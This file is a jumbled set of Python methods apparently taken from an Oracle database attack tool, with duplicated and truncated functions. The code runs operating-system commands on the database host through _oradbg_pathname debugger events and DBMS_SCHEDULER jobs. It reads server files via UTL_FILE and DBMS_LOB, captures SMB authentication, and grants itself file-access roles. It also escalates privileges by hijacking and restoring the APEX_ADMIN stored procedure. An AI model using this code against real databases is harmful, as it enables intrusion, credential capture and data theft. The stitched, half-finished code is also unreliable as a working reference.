def __execPLSQLwithDbmsOutput__(self, request, addLineBreak=False):
'''
Execute the request containing dbms_output
'''
responsedata = ""
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
cursor.callproc("dbms_output.enable")
try:
cursor.execute(request)
except Exception as e:
logging.info(
"Impossible to execute the query `{0}`: {1}".format(
request, self.cleanError(e)))
return ErrorSQLRequest(e)
else:
statusVar = cursor.var(cx_Oracle.NUMBER)
lineVar = cursor.var(cx_Oracle.STRING)
while True:
cursor.callproc("dbms_output.get_line",
(lineVar, statusVar))
if statusVar.getvalue() != 0:
break
line = lineVar.getvalue()
if line == None:
line = ''
responsedata += line
if addLineBreak == True: responsedata += '\n'
cursor.close()
except Exception as e:
logging.info("Error with the request: {0}".format(str(e)))
return ErrorSQLRequest(e)
return responsedata
def __execThisQuery__(self, query=None, ld=[], isquery=True):
'''
Permet de définir un cursor et execute la requete sql
Si ld != [], active le chargement dans un dictionnaire des
resultats
'''
results = []
cursor = self.args['dbcon'].cursor()
try:
if self.args['show_sql_requests'] == True:
logging.info("SQL request executed: {0}".format(query))
cursor.execute(query)
except Exception, e:
logging.info("Impossible to execute the query `{0}`: `{1}`".format(
query, self.cleanError(e)))
if self.ERROR_NOT_CONNECTED in str(e):
status = self.__retryConnect__(nbTry=3)
if status == None:
return ErrorSQLRequest(
"Disconnected. Impossible to re-establish a connection to the database server !"
)
else:
return self.__execThisQuery__(query=query,
ld=ld,
isquery=isquery)
else:
return ErrorSQLRequest(e)
def __execThisQuery__(self, query=None, ld=[], isquery=True):
'''
Permet de définir un cursor et execute la requete sql
Si ld != [], active le chargement dans un dictionnaire des
resultats
'''
results = []
cursor = self.args['dbcon'].cursor()
try:
if self.args['show_sql_requests'] == True:
logging.info("SQL request executed: {0}".format(query))
cursor.execute(query)
except Exception as e:
logging.info("Impossible to execute the query `{0}`: `{1}`".format(
query, self.cleanError(e)))
if self.ERROR_NOT_CONNECTED in str(e):
status = self.__retryConnect__(nbTry=3)
if status == None:
return ErrorSQLRequest(
"Disconnected. Impossible to re-establish a connection to the database server !"
)
else:
return self.__execThisQuery__(query=query,
ld=ld,
isquery=isquery)
else:
return ErrorSQLRequest(e)
if isquery == True:
try:
cursor.arraysize = 256
results = cursor.fetchall()
except Exception as e:
logging.warning(
"Impossible to fetch all the rows of the query {0}: `{1}`".
format(query, self.cleanError(e)))
return ErrorSQLRequest(e)
else:
cursor.close()
return 0
cursor.close()
if ld == []: return results
else:
values = []
for line in results:
dico = {}
for i in range(len(line)):
dico[ld[i]] = line[i]
values.append(dico)
return values
def __createJob__(self, cmd):
'''
Create a job for DBMS_SCHEDULER
Be Careful: Special chars are not allowed in the command line
'''
logging.info('Create a job named {0}'.format(self.jobName))
splitCmd = cmd.split()
parameters = {
'job_name': self.jobName,
'job_type': 'EXECUTABLE',
'job_action': splitCmd[0],
'number_of_arguments': len(splitCmd) - 1,
'auto_drop': False
}
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
if self.args['show_sql_requests'] == True:
logging.info(
"SQL request executed: DBMS_SCHEDULER.create_job with these parameters: {0}"
.format(parameters))
cursor.callproc(name="DBMS_SCHEDULER.create_job",
keywordParameters=parameters)
except Exception as e:
logging.info('Error with DBMS_SCHEDULER.create_job:{0}'.format(
self.cleanError(e)))
return ErrorSQLRequest(e)
else:
for pos, anArg in enumerate(splitCmd):
if pos != 0:
parameters = {
'job_name': self.jobName,
'argument_position': pos,
'argument_value': anArg
}
try:
if self.args['show_sql_requests'] == True:
logging.info(
"SQL request executed: DBMS_SCHEDULER.set_job_argument_value with these parameters: {0}"
.format(parameters))
cursor.callproc(
name="DBMS_SCHEDULER.set_job_argument_value",
keywordParameters=parameters)
except Exception as e:
logging.info(
'Error with DBMS_SCHEDULER.set_job_argument_value:{0}'
.format(self.cleanError(e)))
return ErrorSQLRequest(e)
return True
def execOSCommand(self, cmd):
'''
Execute a binary or script stored on the server
'''
logging.info(
'Execute the following command on the remote database system: {0}'.
format(cmd))
logging.info(
'Be Careful: script or bin without special chars is allowed')
logging.debug(
'Setting the _oradbg_pathname variable to {0}'.format(cmd))
REQUEST = "alter system set \"_oradbg_pathname\"='{0}'".format(cmd)
response = self.__execPLSQL__(REQUEST)
if isinstance(response, Exception):
logging.info("Impossible to set _oradbg_pathname: '{0}'".format(
self.cleanError(response)))
return response
else:
logging.debug('Setting the system set events')
REQUEST = "alter system set events 'logon debugger'"
response = self.__execPLSQL__(REQUEST)
if isinstance(response, Exception):
logging.info('Impossible to set system events: {0}'.format(
self.cleanError(response)))
return response
else:
logging.debug(
'Connecting to the database to run the script/bin')
status = self.connection(threaded=False, stopIfError=False)
if isinstance(response, Exception):
return ErrorSQLRequest(
"Impossible to connect to the remmote database to run the bin/script: {0}"
.format(self.cleanError(e)))
return True
def connection(self,threaded =True, stopIfError=False):
'''
Connection to the database
'The threaded argument is expected to be a boolean expression which indicates whether or not Oracle
should use the mode OCI_THREADED to wrap accesses to connections with a mutex. Doing so in single threaded
applications imposes a performance penalty of about 10-15% which is why the default is False.'
If stopIfError == True, stop if connection error
'''
try:
if self.args['SYSDBA'] == True :
self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSDBA,threaded=threaded)
elif self.args['SYSOPER'] == True :
self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSOPER,threaded=threaded)
else :
self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'],threaded=threaded)
self.args['dbcon'].autocommit = True
if self.remoteOS == '' and self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase()
return True
except Exception, e:
if self.ERROR_CONN_IMPOSS in str(e):
logging.critical("Impossible to connect to the remost host")
exit(EXIT_BAD_CONNECTION)
elif self.ERROR_NOT_SYSDBA in str(e):
logging.info("Connection as SYS should be as SYSDBA or SYSOPER, try to connect as SYSDBA")
self.args['SYSDBA'] = True
return self.connection(threaded=threaded, stopIfError=stopIfError)
elif self.ERROR_INSUFF_PRIV_CONN in str(e):
logging.info("Insufficient privileges, SYSDBA or SYSOPER disabled")
self.args['SYSDBA'] = False
self.args['SYSOPER'] = False
return self.connection(threaded=threaded, stopIfError=stopIfError)
elif stopIfError == True:
logging.critical("Impossible to connect to the remote database: {0}".format(self.cleanError(e)))
exit(EXIT_BAD_CONNECTION)
else : return ErrorSQLRequest(e)
def captureSMBAuthentication (self, localIP, shareName):
'''
Capture the SMB authentication
'''
self.localIp = localIP
self.shareName = shareName
logging.info("Delete table and index if exist")
self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting
self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting
logging.info("Capture the SMB authentication")
if self.remoteSystemIsWindows() == True:
logging.info("The remote server is Windows, good news")
logging.info("Create the table and insert the share name in this one")
status = self.createTable()
if status == True:
logging.info("Create an index")
status = self.createIndex()
if status == True:
self.deleteIndex()
self.deleteTable()
return True
else:
self.deleteTable()
return status
else :
self.deleteTable()
return status
else:
logging.info("The remote server is Linux")
return ErrorSQLRequest("The remote server is Linux")
def __getJobStatus__(self):
'''
Get the job status from user_scheduler_job_log table
return Exception if error
return False : the job is not created or job is running
return Exception: there is an exception
return string if NOT SUCCESS
return True if SUCCESS
'''
sleep(3)
query = "SELECT status, additional_info FROM USER_SCHEDULER_JOB_RUN_DETAILS WHERE job_name = '{0}'".format(
self.jobName)
response = self.__execThisQuery__(query=query,
ld=['status', 'additional_info'])
if isinstance(response, Exception):
logging.info('Error with the SQL request {0}: {1}'.format(
query, str(response)))
return ErrorSQLRequest(response)
if response == []:
self.args['print'].goodNews("The Job is running")
return False
elif response[0]['status'] == "FAILED":
self.args['print'].badNews("The Job has failed: {0}".format(
response[0]['additional_info']))
str(response[0]['additional_info'])
return False
else:
self.args['print'].goodNews("The Job is finish")
return True
def getFileExist(self, remotePath, remoteNameFile):
'''
Return true if file exists
'''
exist = False
logging.info("Test if the {1}{0} file exists".format(
remoteNameFile, remotePath))
self.__setDirectoryName__()
status = self.__createOrRemplaceDirectory__(remotePath)
if isinstance(status, Exception): return status
UTL_FILE_EXIST = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(case when l_exists then 'True' else 'False' end); END;"
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
cursor.callproc("dbms_output.enable")
try:
cursor.execute(
UTL_FILE_EXIST.format(self.directoryName, remoteNameFile))
except Exception as e:
logging.info(
"Impossible to execute the query `{0}`: {1}".format(
UTL_FILE_EXIST, self.cleanError(e)))
self.__dropDirectory__()
return ErrorSQLRequest(e)
else:
statusVar = cursor.var(cx_Oracle.NUMBER)
lineVar = cursor.var(cx_Oracle.STRING)
while True:
cursor.callproc("dbms_output.get_line",
(lineVar, statusVar))
if statusVar.getvalue() != 0: break
line = lineVar.getvalue()
if line == None:
line = ''
if "True" in line:
logging.debug("The file exist: good news")
return True
elif "False" in line:
logging.debug("The file doesn't exist")
return False
else:
return ''
cursor.close()
except Exception as e:
self.__dropDirectory__()
return ErrorSQLRequest(e)
self.__dropDirectory__()
return data
def getLength(self, remotePath, remoteNameFile):
'''
Get the file length. Return 0 if empty or
'''
logging.info("Get the file length of the {1}{0} file".format(
remoteNameFile, remotePath))
data = ""
self.__setDirectoryName__()
status = self.__createOrRemplaceDirectory__(remotePath)
if isinstance(status, Exception): return status
UTL_FILE_GET_LENGTH = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(l_file_length); END;"
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
cursor.callproc("dbms_output.enable")
try:
cursor.execute(
UTL_FILE_GET_LENGTH.format(self.directoryName,
remoteNameFile))
except Exception as e:
logging.info(
"Impossible to execute the query `{0}`: {1}".format(
UTL_FILE_GET_LENGTH, self.cleanError(e)))
self.__dropDirectory__()
return ErrorSQLRequest(e)
else:
statusVar = cursor.var(cx_Oracle.NUMBER)
lineVar = cursor.var(cx_Oracle.STRING)
while True:
cursor.callproc("dbms_output.get_line",
(lineVar, statusVar))
if statusVar.getvalue() != 0:
break
line = lineVar.getvalue()
if line == None:
line = '0'
logging.info("The file length is: {0}".format(line))
return int(line)
cursor.close()
except Exception as e:
self.__dropDirectory__()
return ErrorSQLRequest(e)
self.__dropDirectory__()
return data
def getFile2(self, remotePath, remoteNameFile):
'''
Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath)
'''
logging.info("Read the {0} remote file stored in {1}".format(
remoteNameFile, remotePath))
data = ""
self.__setDirectoryName__()
status = self.__createOrRemplaceDirectory__(remotePath)
if isinstance(status, Exception): return status
#Get data of the remote file
UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32000); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;"
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
cursor.callproc("dbms_output.enable")
try:
cursor.execute(
UTL_FILE_GET_FILE.format(self.directoryName,
remoteNameFile))
except Exception as e:
logging.info(
"Impossible to execute the query `{0}`: {1}".format(
UTL_FILE_GET_FILE, self.cleanError(e)))
self.__dropDirectory__()
return ErrorSQLRequest(e)
else:
statusVar = cursor.var(cx_Oracle.NUMBER)
lineVar = cursor.var(cx_Oracle.STRING)
while True:
cursor.callproc("dbms_output.get_line",
(lineVar, statusVar))
if statusVar.getvalue() != 0:
break
line = lineVar.getvalue()
if line == None:
line = ''
data += line.decode('hex') + '\n'
cursor.close()
except Exception as e:
self.__dropDirectory__()
return ErrorSQLRequest(e)
self.__dropDirectory__()
return data
def __execThisQuery__(self,query=None,ld=[],isquery=True):
'''
Permet de définir un cursor et execute la requete sql
Si ld != [], active le chargement dans un dictionnaire des
resultats
'''
cursor = self.args['dbcon'].cursor()
try:
if SHOW_SQL_REQUESTS_IN_VERBOSE_MODE == True: logging.info("SQL request executed: {0}".format(query))
cursor.execute(query)
except Exception, e:
logging.info("Impossible to execute the query `{0}`: `{1}`".format(query, self.cleanError(e)))
return ErrorSQLRequest(e)
def __runJob__(self):
'''
run the job named self.jobName
'''
logging.info('Run the job')
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
cursor.callproc(name="DBMS_SCHEDULER.enable",
keywordParameters={'name': self.jobName})
except Exception, e:
logging.info('DBMS_SCHEDULER.enable:{0}'.format(
self.cleanError(e)))
return ErrorSQLRequest(e)
def __execProc__(self,proc,options=None):
'''
Execute the stored procedure
'''
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
if options == None :
cursor.callproc(proc)
else:
cursor.callproc(proc,options)
except Exception, e:
logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e)))
cursor.close()
return ErrorSQLRequest(e)
def __giveTheCxsysPriv__(self, user):
'''
Give the CTXSYS priv to the user with, for exemple:
exec ctxsys.ctx_adm.set_parameter('file_access_role', 'public')
'''
logging.info('Try to give the file_access_role privilege to the current user')
parameters = {'param_name':'file_access_role','param_value':user}
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try :
cursor.callproc(name="ctxsys.ctx_adm.set_parameter",keywordParameters=parameters)
except Exception as e:
logging.info('Error with ctxsys.ctx_adm.set_parameter{0}'.format(self.cleanError(e)))
return ErrorSQLRequest(e)
return True
def __execPLSQLwithDbmsOutput__(self,request,addLineBreak=False):
'''
Execute the request containing dbms_output
'''
responsedata = ""
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try :
cursor.callproc("dbms_output.enable")
try:
cursor.execute(request)
except Exception, e:
logging.info("Impossible to execute the query `{0}`: {1}".format(request, self.cleanError(e)))
return ErrorSQLRequest(e)
else :
def sendGetRequest(self, url):
'''
send a HTTP get request to url
Return False if the current user is not allowed to use the httpuritype lib, else return False or response data
'''
logging.info('Send a HTTP GET request to {0}'.format(url))
query = "select utl_http.request('{0}') as data from dual".format(url)
response = self.__execThisQuery__(query=query, ld=['data'])
if isinstance(response, Exception):
logging.info('Error with the SQL request {0}: {1}'.format(
query, str(response)))
return ErrorSQLRequest(response)
elif isinstance(response, list) and isinstance(response[0], dict):
return response[0]['data']
logging.info('Enough privileges')
return ''
def __execProc__(self,proc,options=None):
'''
Execute the stored procedure
- proc: procedure name
- options: callproc parameters (see http://cx-oracle.readthedocs.org/en/latest/cursor.html)
Return True if no error. Otherwise returns Exception (ErrorSQLRequest)
'''
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
if options == None :
cursor.callproc(proc)
else:
cursor.callproc(proc,options)
except Exception, e:
logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e)))
cursor.close()
return ErrorSQLRequest(e)
def getFileExist (self, remotePath, remoteNameFile):
'''
Return true if file exists
'''
exist, returnedValue = False, False
logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath))
self.__setDirectoryName__()
status = self.__createOrRemplaceDirectory__(remotePath)
if isinstance(status,Exception): return status
DBMS_LOB_FILE_EXISTS = "DECLARE l_loc BFILE; l_ret BOOLEAN := FALSE; BEGIN l_loc := BFILENAME('{0}','{1}'); l_ret := DBMS_LOB.FILEEXISTS(l_loc) = 1; IF (l_ret) THEN dbms_output.put_line('True'); ELSE dbms_output.put_line('False'); END IF;END;"
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try :
cursor.callproc("dbms_output.enable")
try:
cursor.execute(DBMS_LOB_FILE_EXISTS.format(self.directoryName, remoteNameFile))
except Exception, e:
logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_FILE_EXISTS, self.cleanError(e)))
returnedValue = ErrorSQLRequest(e)
else :
def connection(self,threaded =True, stopIfError=False):
'''
Connection to the database
'The threaded argument is expected to be a boolean expression which indicates whether or not Oracle
should use the mode OCI_THREADED to wrap accesses to connections with a mutex. Doing so in single threaded
applications imposes a performance penalty of about 10-15% which is why the default is False.'
If stopIfError == True, stop if connection error
'''
try:
if self.args['SYSDBA'] == True :
logging.debug("Connecting as SYSDBA to the database")
self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSDBA,threaded=threaded)
elif self.args['SYSOPER'] == True :
logging.debug("Connecting as SYSOPER to the database")
self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSOPER,threaded=threaded)
else :
self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'],threaded=threaded)
self.args['dbcon'].autocommit = True
if self.remoteOS == '' and self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase()
return True
except Exception, e:
if self.ERROR_CONN_IMPOSS in str(e) or self.ERROR_UNABLE_TO_ACQUIRE_ENV in str(e):
logging.critical("Impossible to connect to the remost host")
exit(EXIT_BAD_CONNECTION)
elif self.ERROR_NOT_SYSDBA in str(e):
logging.info("Connection as SYS should be as SYSDBA or SYSOPER, try to connect as SYSDBA")
self.args['SYSDBA'] = True
return self.connection(threaded=threaded, stopIfError=stopIfError)
elif self.ERROR_INSUFF_PRIV_CONN in str(e):
logging.info("Insufficient privileges, SYSDBA or SYSOPER disabled")
self.args['SYSDBA'] = False
self.args['SYSOPER'] = False
return self.connection(threaded=threaded, stopIfError=stopIfError)
elif self.ERROR_SHARED_MEMORY in str(e):
logging.critical("Error server side ('ORA-27101: shared memory realm does not exist').")
logging.critical("You should try to use a TNS Connection String instead of a connection sting as 'server:port/instance_name'")
logging.critical("You have to TRY WITH '-t' option!")
exit(EXIT_BAD_CONNECTION)
elif stopIfError == True:
logging.critical("Impossible to connect to the remote database: {0}".format(self.cleanError(e)))
exit(EXIT_BAD_CONNECTION)
else : return ErrorSQLRequest(e)
def __createJob__(self, cmd):
'''
Create a job for DBMS_SCHEDULER
Be Careful: Special chars are not allowed in the command line
'''
logging.info('Create a job named {0}'.format(self.jobName))
splitCmd = cmd.split()
parameters = {
'job_name': self.jobName,
'job_type': 'EXECUTABLE',
'job_action': splitCmd[0],
'number_of_arguments': len(splitCmd) - 1,
'auto_drop': False
}
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
cursor.callproc(name="DBMS_SCHEDULER.create_job",
keywordParameters=parameters)
except Exception, e:
logging.info('Error with DBMS_SCHEDULER.create_job:{0}'.format(
self.cleanError(e)))
return ErrorSQLRequest(e)
def getFile(self, remotePath, remoteNameFile, localFile):
'''
Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath)
'''
data = ""
logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(
remoteNameFile, remotePath, localFile))
#Get data of the remote file
DBMS_LOB_GET_FILE = """
DECLARE
-- Pointer to the BFILE
l_loc BFILE;
-- Current position in the file (file begins at position 1)
l_pos NUMBER := 1;
-- Amount of characters to read
l_sum BINARY_INTEGER;
-- Read Buffer
l_buf VARCHAR2(32767);
l_stat BINARY_INTEGER := 16383;
BEGIN
l_loc := BFILENAME('{0}','{1}');
DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY);
l_sum := dbms_lob.getlength(l_loc);
LOOP
IF (l_sum < 16383) THEN
DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf);
dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf));
EXIT;
END IF;
l_sum := l_sum - 16383;
DBMS_LOB.READ(l_loc,l_stat,l_pos,l_buf);
l_pos := l_pos + 16383;
dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf));
END LOOP;
DBMS_LOB.CLOSE(l_loc);
END;
"""
isFileExist = self.getFileExist(remotePath, remoteNameFile)
if isFileExist == True:
status = self.__createOrRemplaceDirectory__(remotePath)
if isinstance(status, Exception): return status
cursor = cx_Oracle.Cursor(self.args['dbcon'])
cursor.callproc("dbms_output.enable")
try:
cursor.execute(
DBMS_LOB_GET_FILE.format(self.directoryName,
remoteNameFile))
except Exception, e:
logging.info(
"Impossible to execute the query `{0}`: {1}".format(
DBMS_LOB_GET_FILE, self.cleanError(e)))
self.__dropDirectory__()
return ErrorSQLRequest(e)
else:
statusVar = cursor.var(cx_Oracle.NUMBER)
lineVar = cursor.var(cx_Oracle.STRING)
while True:
cursor.callproc("dbms_output.get_line",
(lineVar, statusVar))
if statusVar.getvalue() != 0: break
line = lineVar.getvalue()
if line == None: line = ''
data += line
logging.info(line)
cursor.close()
cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
if statusVar.getvalue() != 0: returnedValue = False
line = lineVar.getvalue()
if line == None:
line = ''
if "True" in line:
logging.debug("The file exist: good news")
returnedValue = True
elif "False" in line:
logging.debug("The file doesn't exist")
returnedValue = False
else:
logging.warning(
"Can't know if the file exist. There is an error: {0}".
format(line))
returnedValue = ErrorSQLRequest(line)
cursor.close()
except Exception, e:
returnedValue = ErrorSQLRequest(e)
self.__dropDirectory__()
return returnedValue
def testAll(self):
'''
Test all functions
'''
folder = self.__generateRandomString__()
self.args['print'].subtitle("DBMS_LOB to read files ?")
logging.info(
"Simulate the file reading in the {0} folder thanks to DBMS_LOB".
format(folder))
def executeSytemRequestWithCreateAnyProcedureMethod (self, privRequest=None):
'''
When a database user has the "Execute Any Procedure" privilege, he can execute arbitrary privileged SQL requests.
returns True if ok. Returns Exception if error.
'''
self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "APEX_ADMIN"
self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "APEX_040200"
#self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "SI_CONVERTFORMAT"
#self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "ORDSYS"
self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC="BEGIN {0}; END;"#{0}:procedure complete name
self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC = "{0}.{1}".format(self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC, self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC)
self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE="CREATE OR REPLACE PROCEDURE {0} IS BEGIN EXECUTE IMMEDIATE '{1}'; END;" #{0}:procedure name {1}:Request to execute
def __getStoredProcedureWithoutFirstLine__():
'''
Copy the stored procedure WITHOUT the first line
Returns string if no error.
Returns Exception if error
'''
self.GET_CODE_STORED_PROCEDURE="SELECT text FROM all_source WHERE name='{0}' AND owner='{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC)
code =""
numLine = 0
logging.info("Trying to get source code of the stored procedure named {0} ".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC))
response = self.__execThisQuery__(self.GET_CODE_STORED_PROCEDURE, ld=['TEXT'])
if isinstance(response, Exception):
logging.info("Impossible to get the source code of the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.cleanError(response)))
return response
else:
for line in response:
if numLine > 0:
code += line['TEXT']
numLine += 1
logging.debug('Souce code of {0}: {1}'.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, repr(code)))
return code
def __restoreStoredProcedure__(storedProcCompleteName, oldSourceCode):
'''
Restore the stored procedure with oldSourceCode
Returns string if no error.
Returns Exception if error
'''
REQUEST = "CREATE OR REPLACE PROCEDURE {0}\n{1}".format(storedProcCompleteName, oldSourceCode)
logging.debug('The following request will be executed to restore the stored procedure {0}: {1}'.format(storedProcCompleteName, repr(REQUEST)))
status = self.__execPLSQL__(REQUEST)
if isinstance(status, Exception):
logging.info("Impossible to restore the stored procedure named '{0}': {1}".format(storedProcCompleteName, self.cleanError(status)))
return status
else:
logging.info("The stored procedure named '{0}' has been restored".format(storedProcCompleteName))
return True
logging.info("Trying to modify the stored procedure {0} for executing the request '{1}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest))
initalSrcCode = __getStoredProcedureWithoutFirstLine__()
if isinstance(initalSrcCode, Exception) :
logging.info('Impossible to get the source code, cancelling attack....')
return initalSrcCode
elif initalSrcCode=='':
msgerror = "The source code of {0} is empty!".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC)
logging.info(msgerror)
return ErrorSQLRequest(msgerror)
else:
logging.info("Modifing the stored procedure...")
status = self.__execPLSQL__(self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest))
if isinstance(status, Exception):
logging.info("Impossible to modify the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status)))
return status
else :
logging.debug("Stored procedure {0} modified".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
logging.info("Trying to execute the stored procedure '{0}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
status = self.__execPLSQL__(self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
if isinstance(status, Exception):
logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status)))
__restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode)
return status
else :
logging.debug("Stored procedure named '{0}' executed".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC))
__restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode)
return True
def getFile (self,remotePath, remoteNameFile, localFile):
'''
Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath)
'''
data = ""
logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile))
#Get data of the remote file
DBMS_LOB_GET_FILE ="""
DECLARE
bu RAW(32766);
-- Separator Character between words is a BLANK
l_seb CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(32));
-- Character at the end of the file is NEWLINE
l_sen CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(10));
-- Pointer to the BFILE
l_loc BFILE;
-- Current position in the file (file begins at position 1)
l_pos NUMBER := 1;
-- Amount of characters have been read
l_sum BINARY_INTEGER := 0;
-- Read Buffer
l_buf VARCHAR2(10000);
-- End of the current word which will be read
l_end NUMBER;
-- Return value
l_ret BOOLEAN := FALSE;
BEGIN
l_loc := BFILENAME('{0}','{1}');
DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY);
LOOP
-- Calculate the end of the current word
l_end := DBMS_LOB.INSTR(l_loc,l_seb,l_pos,1);
-- Process end-of-file
IF (l_end = 0) THEN
l_end := DBMS_LOB.INSTR(l_loc,l_sen,l_pos,1);
l_sum := l_end - l_pos ;
DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf);
dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf));
EXIT;
END IF;
-- Read until end-of-file
l_sum := l_end - l_pos;
DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf);
dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf));
l_pos := l_pos + l_sum + 1;
END LOOP;
DBMS_LOB.CLOSE(l_loc);
END;
"""
isFileExist= self.getFileExist (remotePath, remoteNameFile)
if isFileExist == True :
status = self.__createOrRemplaceDirectory__(remotePath)
if isinstance(status,Exception): return status
cursor = cx_Oracle.Cursor(self.args['dbcon'])
cursor.callproc("dbms_output.enable")
try:
cursor.execute(DBMS_LOB_GET_FILE.format(self.directoryName, remoteNameFile))
except Exception, e:
logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_GET_FILE, self.cleanError(e)))
self.__dropDirectory__()
return ErrorSQLRequest(e)
else :
statusVar = cursor.var(cx_Oracle.NUMBER)
lineVar = cursor.var(cx_Oracle.STRING)
while True:
cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
if statusVar.getvalue() != 0: break
line = lineVar.getvalue()
if line == None : line = ''
data += line
logging.info(line)
cursor.close()
'argument_position': pos,
'argument_value': anArg
}
try:
if self.args['show_sql_requests'] == True:
logging.info(
"SQL request executed: DBMS_SCHEDULER.set_job_argument_value with these parameters: {0}"
.format(parameters))
cursor.callproc(
name="DBMS_SCHEDULER.set_job_argument_value",
keywordParameters=parameters)
except Exception, e:
logging.info(
'Error with DBMS_SCHEDULER.set_job_argument_value:{0}'
.format(self.cleanError(e)))
return ErrorSQLRequest(e)
return True
def __runJob__(self):
'''
run the job named self.jobName
'''
logging.info('Run the job')
cursor = cx_Oracle.Cursor(self.args['dbcon'])
try:
cursor.callproc(name="DBMS_SCHEDULER.enable",
keywordParameters={'name': self.jobName})
except Exception, e:
logging.info('DBMS_SCHEDULER.enable:{0}'.format(
self.cleanError(e)))
return ErrorSQLRequest(e)
def getFile(self, remotePath, remoteNameFile):
'''
return data stored in the remoteNameFile file of the remotePath path
Return False if file not exist
'''
logging.info("Read the {0} remote file stored in {1}".format(
remoteNameFile, remotePath))
data, currentByte = b"", 0
